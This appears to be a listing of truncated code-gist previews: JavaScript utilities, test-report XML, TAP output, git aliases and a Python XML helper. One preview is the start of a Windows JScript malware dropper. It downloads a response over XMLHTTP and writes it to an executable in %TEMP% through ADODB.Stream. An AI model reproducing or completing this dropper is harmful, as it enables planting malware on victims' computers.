[![stability 0 - deprecated](http://b.repl.ca/v1/stability-0_--_deprecated-red.png)
](http://nodejs.org/api/documentation.html#documentation_stability_index)
export const replace = (arr, index, value) => [ | |
...arr.slice(0, index), | |
value, | |
...arr.slice(index + 1) | |
] | |
export const insert = (arr, index, value) => [ | |
...arr.slice(0, index), | |
value, | |
...arr.slice(index) |
<?xml version="1.0" encoding="UTF-8"?> | |
<testsuite name="/hello" timestamp="2016-11-23T15:32:04.685Z" tests="31" errors="0" failures="6" skip="1" time="66"> | |
<testcase classname="global" name="is global" time="0"/> | |
<testcase classname="An error" name="is an error" time="0"> | |
<failure type="Error" message="banana"> | |
Error: banana | |
at Context.<anonymous> (/home/pluma/projects/arango/_local/3.1.devel/arango-apps/_db/_system/hello/APP/test/queries.js:12:11) | |
at Function.global.DEFINE_MODULE.exports.nextTick [as immediately] (./js/common/bootstrap/modules/process.js:26:5) | |
</failure> | |
</testcase> |
/*global assert*/ | |
class CancellationError extends Error {} | |
CancellationError.prototype.name = 'CancellationError' | |
function deferred () { | |
let _resolve, _reject | |
const promise = new Promise((resolve, reject) => { | |
_resolve = resolve | |
_reject = reject | |
}) |
alias g='git status -sb' | |
alias ga='git add' | |
alias gac='git commit -S --amend' | |
alias gb='git branch' | |
alias gbb='git checkout -b' | |
alias gbm='git branch --merged' | |
alias gbn='git branch --no-merged' | |
alias gc='git commit -S -m' | |
alias gcp='git cherry-pick' | |
alias gco='git checkout' |
var shell = new ActiveXObject('WScript.Shell') | |
var xhr = new ActiveXObject('MSXML2.XMLHTTP') | |
var virus = shell.ExpandEnvironmentStrings('%TEMP%') + '/CBMQFs.exe' | |
xhr.onreadystatechange = function () { | |
if (xhr.readystate === 4) { | |
var stream = new ActiveXObject('ADODB.Stream') | |
stream.open() | |
stream.type = 1 | |
stream.write(xhr.ResponseBody) | |
stream.position = 0 |
TAP version 13 | |
# api: lintFiles | |
ok 1 no error while linting | |
ok 2 result is an object | |
ok 3 should be equal | |
# api: lintText | |
ok 4 no error while linting | |
ok 5 result is an object | |
ok 6 should have used single quotes | |
# Disabled Packages |
require('harmony-reflect'); | |
var uniq = require('uniq'); | |
var arrp = Array.prototype; | |
function ext(obj) { | |
var sources = arrp.slice.call(arguments, 1); | |
sources.forEach(function(src) { | |
src && Object.keys(src).forEach(function(name) { | |
obj[name] = src[name]; | |
}); |
require('harmony-reflect'); | |
var uniq = require('uniq'); | |
var arrp = Array.prototype; | |
function merge(obj, src) { | |
Object.keys(src).forEach(function(name) { | |
var value = src[name]; | |
if (obj.hasOwnProperty(name)) { | |
merge(obj[name], value); | |
} else { |
from lxml import etree | |
def node_from_dict(tag, data=None): | |
node = etree.Element(tag) | |
if isinstance(data, dict): | |
for key, value in data.items(): | |
if isinstance(value, list): | |
for v in value: | |
node.append(node_from_dict(key, v)) |